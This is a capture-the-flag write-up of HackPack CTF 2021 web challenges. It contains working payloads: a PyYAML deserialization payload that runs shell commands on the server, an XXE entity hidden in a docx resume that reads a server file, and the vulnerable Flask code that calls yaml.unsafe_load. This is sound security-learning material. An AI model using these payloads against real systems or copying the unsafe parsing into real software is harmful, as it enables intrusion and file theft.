Web Writeups
Hello there we (fr334aks) took part in hackpack CTF 2021 and ended up solving all the available Web challenges, here are our writeups for them.
“N”ot “G”am”I”ng a”N”ymore in “X”mas
Challenge
Solution
- tried a random name as password and used the network tab in dev options to inspect the requests
found a post request with data as
debug=0
changed that todebug=1
as
and
which revealed the default nginx.conf
file revealing a hidden directory /maybehereimportantstuff
,visiting it we are met with the flag
Flag : flag{ng1nx_m1sconf1g_c4n_b3_h4rmful}
Yaml-2-json
Challenge
Solution
full writeup for this challenge can be found here from Saudi, Yaml-2-Json
instead of repeating what he did i will just share the main.py file here
having gained RCE on the CTF instance i further deciced to explore a bit further
using the exploit as
flag: !!python/object/apply:subprocess.check_output
args: [ ls -lah ]
kwds: { shell: true }
i was able to view all the files in the directory
total 36K
drwxr-xr-x 1 root root 4.0K Apr 14 22:17 .
drwxr-xr-x 1 root root 4.0K Apr 14 22:25 ..
-rw-rw-r-- 1 root root 30 Apr 14 22:16 .env
drwxrwxr-x 6 root root 4.0K Apr 14 22:16 .venv
drwxrwxr-x 2 root root 4.0K Apr 14 22:16 __pycache__
-rw-rw-r-- 1 root root 778 Apr 14 22:16 main.py
-rw-r--r-- 1 root root 204 Dec 6 18:41 prestart.sh
-rw-rw-r-- 1 root root 131 Apr 14 22:16 requirements.txt
drwxrwxr-x 2 root root 4.0K Apr 14 22:16 templates
decided to retrieve the source code main.py
using
flag: !!python/object/apply:subprocess.check_output
args: [ cat main.py ]
kwds: { shell: true }
beautified code is below, enjoy your further analysis
from flask import Flask, render_template, make_response
from flask.globals import request
import yaml
import os
from dotenv import load_dotenv
app = Flask(__name__)
@app.route('', methods = ['GET'])
def index():
premium = request.cookies.get('premium')
resp = make_response(render_template("index.html", premium = premium == 'true'))
if premium is None:
resp.set_cookie('premium', 'false')
return resp
@ papp.route('', methods = ['POST'])
def parse():
load_dotenv()
premium = request.cookies.get('premium')
data = request.form['yaml']
if premium == 'true':
json = yaml.unsafe_load(data)
else :
json = yaml.load(data, yaml.BaseLoader)
return render_template("index.html", json = json, premium = premium == 'true')
All about resetting
Challenge
solution
- Writeup by Mystik0ri0n All-about-resetting
Indead V1
Challenge
solution
Indead V2
Challenge
interface
Solution
- This was a interesting challenge where we are to take advantage of a vulnerable docx parser to trigger XXE to file inclusion,
armed with the flag location
/var/www/flag.txt
we can proceed to crack a malicious docx file that retrieves the flag for us when parsed.
started by creating a simple resume.docx file.
unzipped the file contents and changed the values of document.xml to include our payload as
our modifications to the document included <!DOCTYPE test [<!ENTITY test SYSTEM 'file:///var/www/flag.txt'>]>
and also changing our only info in the document to call our payload when parsed
<w:t xml:space="preserve">&test;</w:t></w:r>
and then later zipping the contents back before uploading
┌─[@parrot]─[~/Desktop/CTFs/hackpack]
└──╼ $zip resume.docx word/document.xml
updating: word/document.xml (deflated 59%)
uploading the malicous document as our resume gets us the flag
Flag : flag{XML_is_ancestor_0f_every7hing_do_you_agree_?}
Further Reading and references
Thank you for your time. for any errors and corrections kindly reach me on twitter @k0imet_